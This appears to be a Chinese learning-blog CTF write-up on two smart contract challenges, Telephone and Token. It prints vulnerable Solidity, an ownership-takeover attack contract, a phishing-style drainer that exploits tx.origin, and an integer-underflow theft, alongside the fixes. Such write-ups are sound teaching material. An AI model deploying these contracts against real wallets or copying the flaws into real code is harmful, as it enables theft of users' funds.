menu 牢记自己是菜
智能合约安全分析学习---Day7 智能合约题目CTF向
1970 浏览 | 2020-08-26 | 阅读时间: 约 3 分钟 | 分类: 智能合约 | 标签:
请注意,本文编写于 1339 天前,最后修改于 1180 天前,其中某些信息可能已经过时。

0x1 前言

啊,今天看见了空指针战队的强网杯WP。然后点进去看了一下第一道区块链的题解,emmmmmmmmm,好的我看不懂。感觉又回到了今年的3月份,那时候的逆向题解我也看不懂。再等等吧,看有没有稍微详细一点的wp出炉,到时候再进行复现。今天主要还是刷题的记录,并且温习几个小知识点。话不多说,让我们开始吧。


0x2 Telephone

题目目的:控制合约
题目方式:部署攻击合约
题目源码:有
主要知识点:tx.origin
首先我们看看源码,源码简单易懂:

pragma solidity ^0.4.18;

contract Telephone {//主合约函数

  address public owner;

  function Telephone() public {//合约函数的构造函数,在合约生成的时候将合约部署者设置为合约拥有者
    owner = msg.sender;//msg.sender为合约调用者地址,创建时为部署地址
  }

  function changeOwner(address _owner) public {//公开函数
    if (tx.origin != msg.sender) {//两个地址不相等时
      owner = _owner;//转移合约所有者
    }
  }
}

这个合约考到的知识点就是tx.origin,在什么情况下可以使tx.origin != msg.sender。
当我们直接使用账户与控制台与合约进行交互的时候tx.origin == msg.sender,都是我们的自己的账户地址(即向合约发送交易的地址)。
当我们使用合约于其交互的时候(比如部署攻击合约),这个时候msg.sender是我们的账户,而tx.origin则变成了我们的攻击合约的地址。
于是本题的思路已经很明了了。部署合约,通过合约调用通过if判断,获得合约所有权。
部署攻击合约:

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;
  function changeOwner(address _owner) public {}//这是一个伪合约,为我们Attack提供ABI接口
}
contract Attack{
    Telephone ZJY=Telephone(0x2b235d1a29fa66730cbedd94fff030df2337ba20);
    function pwn(){
        ZJY.changeOwner(msg.sender);
        //这个参数msg.sender是调用pwn函数的调用者,也就是我们的地址,也就是tx.origin
        //但是对于题目合约来说,msg.sender却是调用它的我们部署的attack合约的地址
    }
}


这里我们稍微说明一tx.origin函数,这个玩意我愿称之为“社工漏洞”(社会工程学漏洞)。为啥这么说呢,因为要是合约的开发者不刻意在合约中留下漏洞的话(比如故意的转移合约),我们只能使用社会工程学。举个最简单的例子:
这是一个普通的转账合约:

pragma solidity ^0.4.11;

// 不要使用这个合约,其中包含一个 bug。
contract TxUserWallet {
    address owner;

    function TxUserWallet() public {
        owner = msg.sender;
    }

    function transferTo(address dest, uint amount) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

这个是一个转账合约,但是这里使用的的判断并不是msg.sender而是使用的tx.origin,这就意味着产生了一个地址不一致的漏
洞。具体流程很简单,首先原合约是一个转钱合约,再通过验证后,将金额转入dest地址。此时我们为造一个攻击合约(算是钓鱼网站),如下:

pragma solidity ^0.4.11;

interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}

contract TxAttackWallet {
    address owner;

    function TxAttackWallet() public {
        owner = msg.sender;
    }

    function () public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

此时动用社会工程学力量,让用户使用这个合约转账(骗他这个才是第一个漏洞合约),此时用户向这个账户转账,这个合约账户得到了原始地址(即tx.origin为受害者地址,可以通过require(tx.origin == owner)验证),然后向漏洞合约发送请求,将这个用户的全部钱转入到部署攻击合约的账户中。
那tx.origin这个破玩意被设计出来到底有啥用呢?
tx.origin不应该用于智能合约的授权。更多的时候采用msg.sender == owner来进行判断。
但它也有自己使用的场景,比如想要拒绝外部合约调用当前合约则可使用require(tx.origin ==msg.sender)来进行实现。

0x3 Token

题目目的:偷钱,狠狠的偷
题目方式:直接控制台交互
题目源码:有
题目描述(有点重要):The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
主要知识点:整形下溢

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

一开始是这样的,初始合约是 20,当我们转一个比 20 大的数的时候 20-_value 就会下溢uint256 的取值范围是 [0-2^256-1],所以如果我们转 21 的话 20-21 = -1,也就是过了 0 到了 2^256-1。怎么发现这个漏洞的,其实很简单,还记得我们上篇博客提到的一个公开的合约嘛,没错就是SafeMath。这个合约存在的意义就是为+-*/这些基本运算提供安全保障,防止出现整形下溢与上溢的漏洞。本题合约很明显没有使用这个库,所以观察转账很容易发现存在溢出漏洞。
解法随便像一个地址转账,触发溢出。

await contract.balanceOf(player)
{…}
​
c: Array(6) [ 11579208, 92373161954235, 70985008687907, … ]
​
e: 77
​
s: 1
​
<prototype>: Object { abs: abs(), absoluteValue: abs(), ceil: ceil(), … }

发表评论

email
web

全部评论 (共 2 条评论)

    2020-09-07 01:30
    我终究还是买了那本智能合约的书。
    翻开一看,简直劝退,这东西不是人学的啊
    这东西太难入门了我不打算看了,炜昊加油 (。•ˇ‸ˇ•。)
      2020-09-07 16:30
      @iyzyi୧(๑•̀⌄•́๑)૭